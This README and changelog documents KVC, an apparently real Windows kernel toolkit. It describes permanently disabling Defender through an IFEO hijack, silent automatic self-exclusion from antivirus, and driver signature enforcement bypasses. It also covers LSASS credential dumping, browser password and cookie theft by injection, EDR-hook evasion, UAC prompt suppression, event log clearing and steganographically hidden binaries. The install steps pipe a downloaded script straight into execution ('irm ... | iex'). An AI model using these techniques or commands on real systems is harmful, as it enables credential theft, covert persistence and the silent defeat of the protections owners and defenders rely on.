| `IOCTL_KILL_PROCESS` | Process termination via `ObOpenObjectByPointer` + `ZwTerminateProcess` with a kernel handle — PP/PPL protection is irrelevant at this level |
| `IOCTL_KILL_PROCESS_WESMAR` | Legacy single-PID path (raw 4-byte input, direct status return) used by the KVC client for PP/PPL targets |
| `IOCTL_SET_PROTECTION` | Direct write to `EPROCESS.PS_PROTECTION` — strip or assign any PP/PPL level on any running process |
| `IOCTL_PHYSMEM_READ/WRITE` | Physical memory access via `MmMapIoSpaceEx`, validated against `MmGetPhysicalMemoryRanges` before mapping |
| `IOCTL_ALLOC_KERNEL` | Non-paged pool allocation (optionally executable), tracked in a driver-side list guarded by spinlock — prevents arbitrary free and double-free |
| `IOCTL_FREE_KERNEL` | Safe release through the tracked allocation list only |
| `IOCTL_WRITE_PROTECTED` | Write to read-only kernel memory via CR0.WP clear at `DISPATCH_LEVEL` with interrupts disabled — CPU state fully restored in `__except` on exception |
| `IOCTL_ELEVATE_TOKEN` | Replace the primary token of any process with the SYSTEM token |
| `IOCTL_FORCE_CLOSE_HANDLE` | Close a handle in a target process handle table from kernel context |

Only a small subset of these primitives is currently wired into the KVC command surface. The driver is capable of substantially more than what `kvc secengine disable` and `kvc kill` expose today.

**What is used in this release:**

**`kvc secengine disable` — permanent, no restart, fully hardened systems:**
The IFEO block is written via offline hive edit (`Debugger=systray.exe` on `MsMpEng.exe`, `SecurityHealthSystray.exe`, `SecurityHealthService.exe`). Immediately after, KVC starts a `kvckiller` (`wsftprm`) session via auto-lifecycle — digitally signed, no DSE bypass needed — and kills `MsMpEng.exe` + `SecurityHealthSystray.exe` via IOCTL `0x22201C`, stops `SecurityHealthService` via SCM. Engine dead immediately. IFEO block persists across every restart, `sfc /scannow`, and Defender update until `kvc secengine enable` is called. **No restart required at any point.**

**`kvc secengine enable` — no restart required:**
Removes the IFEO block via offline hive edit, starts `SecurityHealthService` + `WinDefend` via SCM. `MsMpEng.exe` launches within seconds — **no restart needed**.

**`kvc kill` — automatic PP/PPL fallback:**  
`kvc kill <name|pid>` first attempts termination via the standard path (`kvc.sys` + `TerminateProcess`). If the target is PP/PPL-protected and that fails, KVC falls back to `kvckiller` (`wsftprm` session, IOCTL `0x22201C`) automatically — digitally signed, no HVCI or DSE constraint. `[info]` replaces `[failed]` when the process is gone after the fallback.

**Auto-lifecycle (load/unload):**  
`kvckiller` is not permanently registered. KVC creates the `wsftprm` service, starts it, uses IOCTL `0x22201C`, then stops and deletes the service — SCM registry stays clean. The driver loads without DSE bypass because it carries a valid digital signature. If the service was already loaded manually, the existing handle is reused.

**`implementer.exe` updated:**  
`kvc.ini` lists `DriverFile=kvc.sys`, `DriverFile=kvcstrm.sys`, `DriverFile=kvckiller.sys`, `ExeFile=kvc_smss.exe`, `DllFile=ExplorerFrame.dll`. All five are embedded in the steganographic icon resource. At runtime, `kvc.exe` splits the decompressed container by positional MZ offset order: [0] `kvc.sys`, [1] `kvcstrm.sys`, [2] `kvckiller.sys`, [3] `kvc_smss.exe`, [4] `ExplorerFrame.dll`. Subsystem validation (`IMAGE_SUBSYSTEM_NATIVE` for the `.sys` and `.exe` entries, non-Native for the DLL) is a post-split sanity check. All three `.sys` drivers are deployed to DriverStore on `kvc setup`; `kvc_smss.exe` is written to System32 by `kvc install <driver>`.

</details>

---

**[04.04.2026]**

<details>
<summary><strong>🛡️ Process Signature Spoofing (Full Camouflage)</strong> (click to expand)</summary>

Added the ability to spoof cryptographic signature levels (`SignatureLevel` and `SectionSignatureLevel`) within the `EPROCESS` structure. 
- **Automated Spoofing:** When applying protection via `kvc protect` or `kvc set` (e.g., `PPL-Antimalware`), KVC now automatically calculates and applies the optimal signature levels (e.g., `0x37` and `0x07`). The process becomes indistinguishable from legitimate protected binaries (like `MsMpEng.exe`) even under deep kernel inspection.
- **Manual Spoofing:** A new command `kvc spoof <PID|name> <ExeSigHex> <DllSigHex>` allows for surgical manipulation of these signature bytes, enabling a process to mimic any Windows component (including Kernel/System signatures like `0x1E` and `0x1C`).

</details>

---


**[03.04.2026]**

<details>
<summary><strong>🛡️ Security Engine: IFEO block replaces RpcSs dependency hijack</strong> (click to expand)</summary>

`secengine disable` no longer manipulates `WinDefend`'s `DependOnService` registry value (`RpcSs` → `RpcSs​` homograph). That method required a restart **in both directions** and was fragile — SCM could repair the dependency on a service repair pass.

The new method targets the **Image File Execution Options** loader intercept:

```
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe
  Debugger = systray.exe
```

When this value is present, the Windows loader hands every `MsMpEng.exe` launch to `systray.exe` instead — before a single byte of Defender code runs. The DACL on the IFEO subtree blocks direct writes even as Administrator, so KVC uses the same offline hive cycle it already uses for other protected keys: `RegSaveKeyEx` (IFEO subtree → `Ifeo.hiv`) → `RegLoadKey` (mount as `HKLM\TempIFEO`) → create/delete `TempIFEO\MsMpEng.exe\Debugger` → `RegUnLoadKey` → `RegRestoreKey(REG_FORCE_RESTORE)`.

**Asymmetry between disable and enable:**
- `secengine disable` — sets the block; **restart required** to stop the running engine in the original implementation (kvc.sys strips PP/PPL but cannot force-terminate MsMpEng). As of `[06.04.2026]`, `kvcstrm.sys` integration eliminated this requirement. As of `[02.05.2026]`, `kvcstrm` is replaced by `kvckiller.sys` (digitally signed — no DSE bypass, works on HVCI systems), and the IFEO block now also targets `SecurityHealthSystray.exe` and `SecurityHealthService.exe`.
- `secengine enable` — removes the block, then calls `StartService(WinDefend)` via SCM; MsMpEng launches immediately — **no restart needed**

**`secengine status`** now reports three independent dimensions: IFEO Debugger presence, WinDefend service state (`RUNNING`/`STOPPED`), and MsMpEng process presence in the snapshot. This correctly handles systems where Defender has been fully uninstalled (WinDefend service absent) vs. merely stopped, and where another AV product is active.

</details>

> **Permanently restart-free.** `kvc secengine disable` kills the running engine via `kvckiller.sys` (digitally signed — no DSE bypass, no HVCI prerequisite) immediately after writing the IFEO block. The block persists across every restart until `kvc secengine enable` is called. [KvcKiller](https://github.com/wesmar/kvcKiller/) remains available as a standalone tool for environments where KVC itself is not deployed.

---

**[30.03.2026]**

<details>
<summary><strong>💾 Windows 10 DSE Support via SymbolEngine</strong> (click to expand) — superseded by [10.04.2026]</summary>

```
C:\>kvc driver load kvckbd
[*] Loading external driver: kvckbd
[*] CiPolicy section not found in ci.dll. Falling back to SymbolEngine (Windows 10)...
[+] [SymbolEngine] Symbol 'g_CiOptions' resolved to RVA: 0x391B0
[+] Resolved g_CiOptions via SymbolEngine at: 0xFFFFF807192391B0 (RVA: 0x391B0)
```

**Universal DSE bypass** — `kvc dse off` now works on both Windows 10 and Windows 11. The Standard method uses a dual-path approach: first attempts fast PE-section parsing to locate the `CiPolicy` section (Windows 11), and if not found, automatically falls back to SymbolEngine-based resolution of `g_CiOptions` from PDB symbols (Windows 10). This ensures compatibility across all supported Windows versions without requiring the `--safe` flag. Symbol resolution is performed locally using Microsoft Symbol Server — PDB files are downloaded automatically on first use and cached in `C:\ProgramData\dbg\sym\`.

> **Superseded:** As of [10.04.2026], the SymbolEngine PDB fallback for Windows 10 has been replaced by a fully offline semantic probe (`CiOptionsFinder`). No PDB download or network access is required. The `SymbolEngine` infrastructure is retained for `SeCiCallbacks`/`SafeFunction` offset resolution used by `dse off --safe`. `kvc_smss` uses its own boot-time heuristic scanner by default; PDB resolution is opt-in via `kvc install --pdb`.

</details>

---

**[29.03.2026]**

<details>
<summary><strong>🌐 Browser extraction, kvc.dat, Legacy CPU, Static CRT</strong> (click to expand)</summary>

**Browser extraction without closing** — Chrome, Edge, and Brave passwords, cookies, and payment data are now extracted while the browser is running. No forced close required. The orchestrator kills only the network-service subprocess (which holds database file locks), lets `kvc_crypt.dll` read the databases, and the browser continues operating normally. For Edge, a second network-service kill is performed immediately after the DLL receives its configuration — timed to hit just before the Cookies database is opened, because Edge restarts its network service faster than Chrome (~1–2 s vs ~3–5 s).

**COM Elevation for Edge (passwords and cookies)** — Edge master key decryption now uses the browser's own COM elevation service (`IEdgeElevatorFinal`, CLSID `{1FCBE96C-1697-43AF-9140-2897C7C69767}`) for all data types, including passwords. DPAPI (`CryptUnprotectData`) is used as a fallback only when COM elevation fails. The previous split-key strategy (DPAPI for passwords, COM for cookies) has been removed.

**kvc.dat deployment** — `kvc_pass.exe` and `kvc_crypt.dll` are now distributed as a single combined encrypted file (`kvc.dat`). Running `kvc setup` or the one-command `irm` installer automatically extracts both components and places them in `C:\Windows\System32`. When `kvc export secrets` or `kvc bp` detect these files in System32, full browser extraction (including `v10`/`v20` AES-GCM decryption) is used. Without `kvc.dat` deployed, the command falls back to the built-in DPAPI method for Edge passwords only.

**Legacy CPU support** — `kvc_pass.exe` and `kvc_crypt.dll` are compiled without AVX/YMM instructions. Both binaries run correctly on 3rd-generation Intel Core processors and older systems with SSE2-only support. No `/arch:AVX2` or equivalent — verified with `dumpbin /disasm | findstr ymm` (no matches).

**Static CRT** — `kvc_pass.exe` and `kvc_crypt.dll` now link the C++ runtime statically (`/MT`, `MultiThreaded`). No dependency on `vcruntime140.dll` or `msvcp140.dll`. The binaries are self-contained and run on any x64 Windows 10/11 installation without requiring Visual C++ Redistributables.

</details>

**UnderVolter — EFI undervolting module (Ring-1, Intel only)** — KVC supports an optional separate module `UnderVolter.dat` (available in `other-tools/undervolter/`), an encrypted UEFI payload that deploys a custom EFI application to the EFI System Partition. The key engineering challenge on OEM Intel platforms is that the BIOS typically enforces two firmware-level locks that block all MSR access regardless of OS privilege level: **CFG Lock** (blocks `MSR 0xE2` — power control) and **OC Lock** (blocks `MSR 0x150` — Intel OC Mailbox, the voltage control interface). UnderVolter solves this without physical BIOS flashing or external tools: running as a UEFI application before the Windows bootloader, it directly patches the hidden `Setup` EFI NVRAM variable — writing `0x00` to the CFG Lock offset and OC Lock offset extracted from the platform's IFR (Internal Form Representation) dump. Once patched, a reboot causes the BIOS POST to read the modified variable and initialise the CPU with both locks cleared. From that point on, `MSR 0x150` writes succeed and UnderVolter applies the configured negative voltage offsets and power-limit values per-domain (`IACORE`, `RING`, `ECORE`, `UNCORE`, `GTSLICE`, `GTUNSLICE`) on every subsequent boot — transparently, before Windows loads. **AMD is not supported** — the OC Mailbox (`MSR 0x150`) is an Intel-specific interface; AMD uses a different voltage control architecture. Deployment via `kvc undervolter deploy`: KVC locates the ESP by GPT partition GUID (`C12A7328-F81F-11D2-BA4B-00A0C93EC93B`) using `FindFirstVolume` + `IOCTL_DISK_GET_PARTITION_INFO_EX` — no drive-letter assignment, no `mountvol`. Mode **A** replaces `\EFI\BOOT\BOOTX64.EFI` (original backed up as `BOOTX64.efi.bak`); mode **B** copies to `\EFI\UnderVolter\` for a manual UEFI boot entry.

**Plundervolt-class research capability** — With CFG Lock and OC Lock cleared at firmware level, `MSR 0x150` is fully writable from UEFI privilege. This enables systematic exploration of the Plundervolt attack surface (CVE-2019-11157): by adjusting the core voltage offset mid-computation, controlled voltage glitches can be induced into cryptographic operations in SGX enclaves or kernel context — allowing fault-injection research without physical probing equipment. Intel's microcode patch for CVE-2019-11157 blocks `MSR 0x150` writes only during SGX enclave execution (EENTER/ERESUME); general undervolting outside SGX context remains fully functional on all supported platforms.

**Per-generation CPU configuration via `UnderVolter.ini`** — The module ships with a documented `UnderVolter.ini` covering Intel **2nd through 15th generation** Core processors: Sandy Bridge, Ivy Bridge, Haswell, Broadwell, Skylake, Kaby Lake, Coffee Lake (8th/9th gen), Comet Lake, Tiger Lake, Rocket Lake, Alder Lake, Raptor Lake, Meteor Lake, and Arrow Lake (Core Ultra 200S/HX). Each profile is identified by CPUID (family/model) and defines safe voltage offset ranges per domain (`IACORE`, `RING`, `ECORE`, `UNCORE`, `GTSLICE`, `GTUNSLICE`), IccMax limits, and power-limit values where applicable. All offsets include a 20% safety margin based on community-reported stable values. The framework selects the matching profile automatically at boot time via CPUID. The shipped offsets are intentionally conservative — for optimal results, tune the negative voltage values in `UnderVolter.ini` for your specific chip. Per-generation tuning guidance is available at **[kvc.pl/repositories/undervolter](https://kvc.pl/repositories/undervolter)**. **Lunar Lake (Core Ultra 200V)** is explicitly not supported: its embedded power delivery bypasses the traditional `MSR 0x150` OC Mailbox interface entirely. Full documentation, raw binaries, and EFI application source available at **[kvc.pl/repositories/undervolter](https://kvc.pl/repositories/undervolter)**. The `.dat` package is built with `KvcXor.exe` option 6 (`Loader.efi + UnderVolter.efi + UnderVolter.ini -> UnderVolter.dat`).

**UnderVolter subcommands:**

| Subcommand | Action |
|---|---|
| `kvc undervolter deploy` | Decrypt `UnderVolter.dat`, extract `Loader.efi` + `UnderVolter.efi` + `UnderVolter.ini`, write to ESP. Interactive prompt selects Mode A (replace `BOOTX64.EFI`, original backed up as `.bak`) or Mode B (copy to `\EFI\UnderVolter\` for manual boot entry). |
| `kvc undervolter remove` | Restore `BOOTX64.efi.bak` → `BOOTX64.EFI` (Mode A) and delete `\EFI\UnderVolter\`. |
| `kvc undervolter status` | Check whether `UnderVolter.efi`, `UnderVolter.ini`, and the Mode A backup exist on the ESP. Reports `NOT DEPLOYED` or `DEPLOYED | UnderVolter.efi: OK | ...`. |

---

**GUI process list** — `kvc list --gui` opens a graphical interface for convenient viewing and interaction with long process lists.
![GUI Interface](images/kvc_06.jpg)

**Windows Defender & Tamper Protection automation** — Real-Time Protection and Tamper Protection can be toggled via `kvc rtp on/off/status` and `kvc tp on/off/status`. Implemented via `IUIAutomation` (ghost mode): KVC opens the Windows Security window (`windowsdefender://threatsettings`) with the taskbar hidden and console set topmost, temporarily zeros `ConsentPromptBehaviorAdmin`/`PromptOnSecureDesktop` to suppress UAC prompts (backed up and restored atomically), locates the toggle switch via UIA tree traversal, clicks it, and closes the window. On first run after boot, a pre-warming pass initialises the Defender COM stack. No PowerShell, no WMI — literal robot clicking.

**Next-Generation DSE Bypass** — PatchGuard-safe implementation using SeCiCallbacks/ZwFlushInstructionCache redirection. Works with Secure Boot enabled (requires Memory Integrity off). Symbol-based for callback resolution; `g_CiOptions` located via offline semantic probe (no PDB, no network). Legacy direct `g_CiOptions` patch preserved for standard systems.

**External driver loading** — `kvc driver load/reload/stop/remove` for seamless unsigned driver management with automatic DSE bypass and restoration. `load` accepts optional `-s <0–4>` to set the service start type (0=Boot, 1=System, 2=Auto, 3=Demand, 4=Disabled); defaults to Demand (3).

**Module enumeration** — `kvc modules <process>` (alias: `mods`) lists loaded modules in any process including PPL-protected ones. Subcommand `modules <PID> read <module> [offset] [size]` reads raw bytes from a specific module in the target process (default: 256 bytes from offset 0, max 4096 bytes) — useful for PE header inspection or arbitrary memory reads within a module.

**Defender exclusions via native WMI** — All exclusion operations go directly through the `MSFT_MpPreference` COM interface (`ROOT\\Microsoft\\Windows\\Defender`) — no PowerShell spawning. Before every write, KVC queries the live preference instance and skips if the value already exists.

**Automatic self-exclusion** — On every invocation (including `kvc help`), KVC silently registers both `kvc.exe` (process exclusion) and the full executable path (path exclusion) in Defender via WMI before any other work begins. No output, no logging. Each is checked individually via `HasExclusion()` before writing — already-present values are skipped entirely.

**Process enumeration performance** — `GetProcessList` now performs a single `CreateToolhelp32Snapshot` to build a `PID→name` map before the kernel walk, replacing per-process `OpenProcess` + `QueryFullProcessImageName` round-trips. Kernel offsets are hoisted outside the loop. Measurable speedup on `kvc list`.

**Full registry hive coverage** — Backup, restore, and defrag cover all 8 hives: `SYSTEM`, `SOFTWARE`, `SAM`, `SECURITY`, `DEFAULT`, `BCD` (boot configuration, physical path auto-resolved at runtime), `NTUSER.DAT` and `UsrClass.dat` (current user, SID-resolved).

**Tetris** — `kvc tetris` — because why not. Written in x64 assembly, opens a Win32 GUI window, stores high scores in the registry, and runs as `PPL-WinTcb`. Yes, really.

> Development is conducted during free time outside primary occupation (welding/fabrication).
---

## 📚 Learn More & Stay Updated

**[kvc.pl](https://kvc.pl)** - Official website currently under construction.

<sub>The site will feature in-depth technical articles, case studies, and insights from 30 years of experience in Windows internals, kernel development, and security research. Check back soon for resources on advanced topics including driver development, EDR evasion techniques, and practical exploitation methodologies.</sub>

<br>

**Author:** Marek Wesołowski (WESMAR)  
**Year:** 2026  
**Domain:** [kvc.pl](https://kvc.pl)

</div>

---

## 1. Introduction and KVC Philosophy

### What is KVC?

The **Kernel Vulnerability Capabilities (KVC)** framework is a sophisticated toolkit designed for advanced Windows security research, penetration testing, and educational purposes. Operating primarily in kernel mode (Ring-0), KVC provides unprecedented access to and control over low-level system mechanisms typically shielded by modern Windows security features.

### From Control to Capabilities

Originally conceived as "Kernel Vulnerability **Control**," the framework's name evolved to emphasize its true nature: leveraging inherent **Capabilities**. Traditional security approaches often focus on *controlling* vulnerabilities from an external perspective. KVC, however, operates differently; it utilizes legitimate, albeit often undocumented or unintended, kernel-level capabilities to bypass security boundaries. This paradigm shift positions KVC not as a tool that simply breaks security, but as one that repurposes Windows' own mechanisms for in-depth analysis and manipulation.

### Core Capabilities

- **Driver Signature Enforcement (DSE) Control** — Three bypass modes: direct `g_CiOptions` patch (offline semantic probe, no PDB, no network), `SeCiCallbacks` redirection via `ZwFlushInstructionCache` (`--safe`, PatchGuard-compatible), and HVCI-aware path (`skci.dll` rename + RunOnce, one reboot). Fully restores original state after driver loading. Works on fully hardened systems (HVCI + Secure Boot + TPM).

- **PP/PPL Manipulation** — Read and write `EPROCESS.Protection` directly in kernel memory. `kvc unprotect`, `kvc protect`, `kvc set`, `kvc restore`. Session state persisted across reboots (`HKCU\Software\kvc\Sessions\<BootID>`).

- **Process Signature Spoofing** — Write `SignatureLevel` + `SectionSignatureLevel` in `EPROCESS` alongside the Protection byte. Auto-calculated optimal values on `kvc protect`/`kvc set`; manual surgical control via `kvc spoof <pid> <ExeSigHex> <DllSigHex>`. Process becomes indistinguishable from a legitimately protected binary under kernel inspection.

- **Memory Dumping** — `MiniDumpWriteDump` against PPL/PP processes via `EPROCESS.Protection` self-elevation before `OpenProcess`. `kvc dump lsass.exe` → `Downloads\lsass_PID.dmp`. After dump, KVC offers immediate `kvc analyze` if `kvcforensic.dat` is present.

- **LSASS Credential Extraction (`kvcforensic.dat`)** — `kvc analyze <dump>` extracts MSV1_0 (NT/LM/SHA1), WDigest (cleartext), Kerberos sessions + tickets, DPAPI master keys, CredMan from any LSASS minidump. `kvc analyze lsass` auto-locates dump in CWD or Downloads. `kvc analyze --gui` opens graphical inspector. Supports all Windows builds from 10 1803 through 11 26H1 (build 28000+). Auto-downloaded on demand from GitHub if `kvcforensic.dat` is missing.

- **Browser Credential Extraction (`kvc.dat`)** — Chrome, Edge, Brave: passwords + cookies + payment data **without closing the browser**. Kills only the network-service subprocess (releases DB file locks), injects `kvc_crypt.dll` via direct syscalls + reflective PE loader, decrypts App-Bound Encrypted master key via COM elevation (`IOriginalBaseElevator` for Chrome/Brave, `IEdgeElevatorFinal` for Edge) — no keychain, no DPAPI guessing, no browser restart. `kvc_pass.exe` + `kvc_crypt.dll` ship as a single XOR-encrypted `kvc.dat`, deployed by `kvc setup`. Auto-downloaded on demand if missing.

- **WiFi Keys + DPAPI Secrets** — `kvc export secrets`: acquires TrustedInstaller token, extracts `DPAPI_SYSTEM` + `NL$KM` from `HKLM\SECURITY`, decrypts WiFi passwords via `netsh`, merges browser results, generates HTML + TXT report.

- **TrustedInstaller Integration** — Acquires primary `NT SERVICE\TrustedInstaller` token via SYSTEM impersonation → SCM → TI token duplication. Used internally for protected registry writes and file operations. `kvc trusted <cmd>` runs any process as TrustedInstaller. `kvc install-context` adds "Run as TrustedInstaller" to Explorer right-click.

- **Defender Management** — Permanent IFEO disable (`MsMpEng.exe` → `Debugger=systray.exe`) via offline hive edit, killed immediately by `kvckiller.sys` (digitally signed — no DSE bypass, works on HVCI). **No restart required on any system.** Survives every reboot, `sfc /scannow`, and Defender update until `kvc secengine enable`. RTP + Tamper Protection toggle via `IUIAutomation` ghost mode (no PowerShell, no WMI). Exclusions via `MSFT_MpPreference` COM direct. Automatic self-exclusion on every invocation.

- **Kernel Primitive Layer — OmniDriver (`kvcstrm.sys`)** — Purpose-built KMDF driver (not derived from any CVE payload): cross-process virtual R/W (`MmCopyVirtualMemory`, KernelMode), batch R/W (64 ops/round-trip), PP/PPL process termination (`ZwTerminateProcess` kernel handle), `EPROCESS.PS_PROTECTION` direct write, physical memory R/W (`MmMapIoSpaceEx`), kernel pool alloc/free, CR0.WP-clear write to read-only memory, token elevation to SYSTEM, handle table close, arbitrary kernel call. Auto-lifecycle: loaded on demand, service entry deleted after use.

- **Signed Kill Driver — kvckiller (`kvckiller.sys`)** — Digitally signed; loads without DSE bypass, without HVCI restart. Single IOCTL (`0x22201C`) terminates any process regardless of PP/PPL. Used by `kvc secengine disable` and as the automatic PP/PPL fallback in `kvc kill`. Auto-lifecycle: `wsftprm` service created, used, deleted.

- **SMSS Boot-Phase Driver Loader (`kvc_smss.exe`)** — Native application (`SUBSYSTEM:NATIVE`, zero-CRT C) executed by SMSS before `services.exe`, before `winlogon.exe`, before any AV user-mode component. Resolves kernel offsets via built-in heuristic scanner (`FindKernelOffsetsLocally` — three independent passes, immune to Windows Update drift). Loads unsigned drivers via full DSE bypass cycle. Patches HVCI offline via chunked NK/VK hive walker. Registers `HvciShutdownSvc` (`AUTO_START` x64 assembly service) to restore Device Security appearance on the next boot — `windowsdefender://devicesecurity` stays clean. INI-driven (`C:\Windows\drivers.ini`): `LOAD`, `UNLOAD`, `RENAME`, `DELETE` actions.

- **Folder and Partition Protection (`kvc lock`)** — CLI + full Win32 GUI. Backed by `kvcblocker.sys`, a signed FSFilter Content Screener (service `clrcd`, altitude 389991) — loads on Windows 11 26H1 via legacy cross-signed driver compatibility, no test-signing. IOCTL surface fully reconstructed from the original *Secure Folders* binary via IDA + WinDbg kernel tracing. Modes: `Hidden`, `Locked`, `ReadOnly`, `NoExec`, `All`. CLI commands: `kvc lock on/off/add/remove/allow/unallow/list/status/clear` plus `--gui` and `--tray`. Trusted process names are stored as lowercase executable basenames and bypass all flags. Protects files, folders, or full partition roots (`C:\`, `D:\`).

- **EFI Undervolting (`UnderVolter`)** — UEFI application that patches CFG Lock + OC Lock in the hidden `Setup` EFI NVRAM variable (IFR offset extraction) before the Windows bootloader. Clears both MSR locks without physical BIOS flashing. Applies negative voltage offsets and power limits per-domain (`IACORE`, `RING`, `ECORE`, `UNCORE`, `GTSLICE`, `GTUNSLICE`) via `MSR 0x150` (Intel OC Mailbox) on every subsequent boot. Intel 2nd–15th gen (Sandy Bridge through Arrow Lake). Enables systematic Plundervolt-class (CVE-2019-11157) research at UEFI privilege without physical probing equipment.

- **Desktop Watermark Removal** — Modified `ExpIorerFrame.dll` (U+0049 capital I — visually identical to lowercase l) intercepts all five rendering paths across Vista through Build 28000+: `LoadStringW`, `ExtTextOutW`, `DrawTextW`, `BrandingLoadStringForEdition` (delay IAT by name), `DrawTextWithGlow` ord 126 (delay IAT by ordinal, INT entry `0x800000000000007E`).

- **External Driver Management (`kvc driver`)** — `load/reload/stop/remove` with automatic DSE bypass (SeCiCallbacks, PatchGuard-resistant) and restore. `kvc driver load <path> [-s <0-4>]` loads any unsigned driver with configurable StartType; DSE patched before load, restored after. `reload` = stop + patch + start + unpatch. Full path or short name (`test` → `System32\drivers\test.sys`).

- **Module Enumeration (`kvc modules`)** — List all loaded modules in any process including PPL-protected (kernel driver access). `kvc modules <pid> read <module> [offset] [size]` reads raw bytes from module memory (max 4096, default 256, offset in hex or decimal). Alias: `kvc mods`.

- **Event Log Clearing (`kvc evtclear`)** — Clears all primary Windows event logs: Application, Security, Setup, System. Single command, TrustedInstaller context.

- **Registry Backup / Restore / Defrag** — Full hive coverage: `SYSTEM`, `SOFTWARE`, `SAM`, `SECURITY`, `DEFAULT`, `BCD`, `NTUSER.DAT`, `UsrClass.dat`. Operations under TrustedInstaller context.

- **Direct Syscalls** — SSN-sorted NTDLL Zw* export table, `AbiTramp.asm` trampoline (RCX → R10, shadow space, stack args). Bypasses user-mode EDR hooks entirely. Used throughout `kvc_pass.exe` for `NtAllocateVirtualMemory`, `NtWriteVirtualMemory`, `NtGetNextProcess`, and related primitives.

- **Stealth and Evasion** — Six binaries steganographically embedded in `kvc.exe` icon resource (XOR-encrypted CAB, `.evtx` container name). Atomic driver operations (load → IOCTL → unload → delete service). Automatic Defender self-exclusion on every invocation including `kvc help`. Process + path exclusion via WMI COM direct (no `powershell.exe`).

### Intended Use

KVC is intended solely for legitimate security research, authorized penetration testing, incident response, and educational training. Unauthorized use is strictly prohibited and illegal.

-----

## 2. Quick Installation and Requirements
### Installation Methods
#### 🚀 One-Command Installation (Recommended)
Execute the following command in an **elevated PowerShell prompt** (Run as Administrator):
```powershell
irm https://github.com/wesmar/kvc/releases/download/latest/run | iex
```
This command downloads a PowerShell script that handles the download, extraction, and setup of the KVC executable.

#### 🔄 Mirror Installation
Alternatively, use the mirror link:
```powershell
irm https://kvc.pl/run | iex
```

#### 📦 Manual Download

1.  Download the `kvc.7z` archive from the [GitHub Releases](https://github.com/wesmar/kvc/releases/download/latest/kvc.7z) page or the official website.
2.  Extract the archive using 7-Zip or a compatible tool.
3.  The archive password is: `github.com`
4.  Place `kvc.exe` in a convenient location (e.g., `C:\Windows\System32` for global access).

#### 🔧 Deploying Optional Modules (`kvc.dat` and `kvcforensic.dat`)

**Browser extraction (`kvc.dat`):** Chrome, Edge, and Brave credential extraction requires two auxiliary binaries: `kvc_pass.exe` and `kvc_crypt.dll`, packaged as a single encrypted file `kvc.dat`.

**Forensic analysis (`kvcforensic.dat`):** LSASS minidump credential extraction (`kvc analyze`) requires `kvcforensic.dat`, which embeds `KvcForensic.exe` and LSA offset templates. Distributed as a separate release asset — not included in `kvc.7z`.

```powershell
# Deploy kvc.dat + kvcforensic.dat to C:\Windows\System32 (requires Administrator)
# Place the .dat files in the current directory first, then:
kvc.exe setup
```

The `irm` one-command installer deploys `kvc.dat` automatically. If either module is missing when a command needs it, KVC will prompt to download it from GitHub automatically — no manual setup required.

**What `kvc setup` does:**
- Reads `kvc.dat` from the current directory, decrypts and splits it into `kvc_pass.exe` and `kvc_crypt.dll`, writes both to `C:\Windows\System32`
- If `kvcforensic.dat` is present in CWD, copies it to `C:\Windows\System32` (optional, non-fatal if absent)
- After setup, `kvc export secrets`, `kvc bp`, and `kvc analyze` all work without further configuration

**Without `kvc.dat`:** Only Edge passwords are available via built-in DPAPI fallback. KVC will offer to download `kvc.dat` automatically when browser commands are used.

**Without `kvcforensic.dat`:** `kvc analyze` is unavailable. KVC will offer to download `kvcforensic.dat` automatically when analyze commands are used.

### System Requirements

  * **Operating System:** Windows 10 or Windows 11 (x64 architecture). Windows Server editions are also supported.
  * **Architecture:** x64 only.
  * **CPU:** Any x64 processor with SSE2 support (3rd-generation Intel Core or newer, AMD equivalent). No AVX or YMM instructions are used — `kvc_pass.exe` and `kvc_crypt.dll` are SSE2-only builds, verified with `dumpbin /disasm | findstr ymm`.
  * **Runtime:** No Visual C++ Redistributables required. All binaries link the C++ runtime statically (`/MT`).
  * **Privileges:** **Administrator privileges are mandatory** for almost all KVC operations due to kernel interactions, service management, and protected resource access.

-----

## 3. System Architecture

KVC employs a modular architecture designed for flexibility and stealth. The core components interact to achieve privileged operations:

```mermaid
graph LR
    subgraph User Mode
        A[kvc.exe CLI] --> B{Controller Core}
        B --> C[Service Manager]
        B --> D[TrustedInstaller Integrator]
        B --> E[OffsetFinder]
        B --> F[DSEBypass Logic]
        B --> G[Session Manager]
        B --> H[Filesystem/Registry Ops]
        I[kvc_pass.exe] --> J[Browser COM Elevation]
        K[kvc_crypt.dll] --> J
    end
    
    subgraph Kernel Mode
        L[kvcDrv<br/>Driver Interface] --> M[kvc.sys<br/>Embedded Driver]
        M --> L
        N2[strmDrv<br/>Driver Interface] --> O2[kvcstrm.sys<br/>Kill Driver]
        O2 --> N2
    end
    
    subgraph System Interaction
        D --> N[NT SERVICE\TrustedInstaller]
        H --> O[Registry]
        H --> P[File System]
        M --> Q[EPROCESS Structures]
        M --> R[g_CiOptions]
        J --> S[Browser Processes]
        O2 --> T[PP/PPL Processes<br/>ZwTerminateProcess]
    end

    B --> L
    L --> B
    B --> N2
    N2 --> B
```

**Conceptual Flow:**
1.  The user interacts with `kvc.exe` via the command-line interface.
2.  The `Controller` class orchestrates the requested operation.
3.  **Kernel Access:**
      * The `Controller` uses `ServiceManager` to manage the lifecycle of the embedded kernel driver (`kvc.sys`).
      * Six binaries are extracted steganographically from the embedded icon resource (XOR-decrypted CAB): `kvc.sys` (memory R/W, EPROCESS), `kvckiller.sys` (signed PP/PPL kill), `kvcblocker.sys` (FSFilter folder protection), `kvcstrm.sys` (OmniDriver kernel primitives), `kvc_smss.exe` (SMSS boot-phase loader), and a modified `ExplorerFrame​.dll` (watermark removal).
      * Communication occurs via IOCTLs: `kvcDrv` interface for `kvc.sys` (memory operations), `strmDrv` interface for `kvcstrm.sys` (kernel primitives), `kvckiller` (`wsftprm`/`\\.\Warsaw_PM`, IOCTL `0x22201C`) for PP/PPL-bypassing termination. Both `kvcstrm` and `kvckiller` use auto-lifecycle: created, used, deleted — no persistent service registration.
4.  **Offset Resolution:** `OffsetFinder` dynamically locates `EPROCESS.Protection` and related structures in `ntoskrnl.exe`. `g_CiOptions` in `ci.dll` is located by `CiOptionsFinder` using a fully offline semantic probe: the on-disk `ci.dll` image is scanned for RIP-relative instruction patterns (test/bt/bts/mov) that reference the variable, scored by instruction kind and flag-mask content, and the winner is selected without PDB symbols or network access. Windows 11 and Windows 10 use separate probe strategies (CiPolicy section vs. `.data` section scoring).
5.  **Privilege Escalation:** `TrustedInstallerIntegrator` acquires the `NT SERVICE\TrustedInstaller` token, enabling modification of protected system files and registry keys.
6.  **Feature Logic:** Specific modules handle core functionalities:
